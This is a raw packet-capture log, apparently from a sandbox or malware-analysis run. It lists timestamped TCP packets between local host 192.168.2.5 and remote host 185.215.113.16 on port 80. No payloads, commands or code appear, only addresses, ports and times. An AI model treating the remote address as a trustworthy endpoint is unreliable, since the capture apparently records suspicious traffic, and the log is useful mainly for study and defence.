Oct 29, 2024 04:52:57.777084112 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.777103901 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777137041 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777147055 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.777172089 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777204990 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777206898 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.777354002 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777389050 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777400970 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.777550936 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777584076 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777599096 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.777617931 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777652025 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777663946 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.777688026 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.777724981 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815047979 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815114975 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815150976 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815171957 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815185070 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815232992 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815237045 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815272093 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815305948 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815339088 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815356970 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815398932 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815407991 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815449953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815485001 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815494061 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815521955 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815571070 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815625906 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815660000 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815692902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815713882 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815726995 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815759897 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815788031 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815792084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815824986 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815841913 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815859079 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815891981 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815902948 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.815944910 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.815994024 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.816165924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816198111 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816231966 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816257954 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.816267014 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816301107 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816323996 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.816335917 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816392899 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.816656113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816689014 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816721916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816745996 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.816770077 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816803932 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816823959 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.816838026 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816871881 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816889048 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.816905022 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816940069 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.816953897 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.816972017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817007065 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817028999 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.817039013 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817071915 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817086935 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.817106962 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817140102 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817152977 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.817173958 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817222118 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.817536116 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817570925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817604065 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817625999 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.817636013 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817668915 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817682981 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.817703009 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817734957 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817754984 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.817768097 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817800999 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817820072 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.817836046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817864895 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817883015 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.817898035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817931890 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.817951918 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.818232059 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818265915 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818299055 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818305016 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.818332911 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818357944 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.818366051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818399906 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818419933 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.818433046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818465948 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818485975 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.818499088 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818531036 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818546057 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.818564892 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818598032 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818627119 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.818635941 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818670034 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818701029 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.818703890 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818737984 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.818759918 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.819047928 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819082975 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819097996 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.819116116 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819149971 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819163084 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.819215059 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819251060 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819268942 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.819283009 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819334030 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819343090 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.819371939 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819405079 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819425106 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.819437981 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819472075 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819499016 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.819505930 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819540024 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819561005 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.819574118 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819607019 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819623947 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.819641113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.819690943 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.820030928 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.820065022 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.820097923 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.820113897 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.820132017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.820164919 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.820187092 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.820199013 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.820230961 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.820250988 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.820266962 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.820312023 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.892792940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.892863035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.892895937 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.892926931 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.892946959 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.892978907 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893004894 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893012047 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893042088 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893063068 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893074989 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893121004 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893126011 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893158913 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893193007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893225908 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893260956 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893313885 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893377066 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893405914 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893436909 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893454075 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893472910 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893505096 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893529892 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893538952 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893568039 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893598080 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893619061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893652916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893673897 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893686056 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893718958 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893739939 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893755913 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893804073 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893837929 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893871069 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.893939972 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.893991947 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894021034 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894052982 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894068956 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894085884 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894119978 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894134045 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894153118 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894186020 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894195080 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894220114 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894253016 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894257069 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894287109 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894330978 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894485950 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894515991 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894546032 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894558907 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894578934 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894613028 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894623995 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894646883 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894679070 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894690990 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894712925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894745111 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894754887 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894777060 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894810915 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894818068 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894905090 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894937992 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.894948959 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.894970894 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.895004034 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.895016909 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.895037889 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.895071030 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.895076036 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.929941893 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.929996014 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930007935 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930054903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930088997 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930115938 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930124044 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930159092 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930183887 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930212021 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930248976 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930264950 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930301905 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930337906 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930365086 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930372953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930402994 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930432081 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930452108 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930486917 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930519104 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930522919 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930556059 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930568933 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930610895 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930645943 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930659056 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930679083 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930713892 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930722952 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930764914 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930809975 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930819035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930852890 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930886030 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930898905 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930919886 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930954933 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.930963993 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.930991888 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.931032896 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.932116032 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932173014 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932207108 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932219028 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.932315111 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932348967 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932359934 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.932384014 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932419062 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932430983 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.932456017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932501078 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.932528973 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932562113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932615042 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932631016 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:57.932648897 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:57.932693958 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.009759903 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.015242100 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015331984 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015387058 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015420914 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015450954 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.015454054 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015485048 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.015487909 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015537024 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.015537024 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015599966 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015647888 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015681982 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015712976 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.015716076 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015744925 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.015750885 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015784979 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015785933 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.015820980 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015901089 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015933037 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015944958 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.015969038 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.015974998 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.016005993 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.016047001 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.016056061 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.016082048 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.016130924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.016164064 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.016177893 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.016196966 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.016211987 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:58.016230106 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:58.016274929 CET	80	49917	185.215.113.16	192.168.2.5
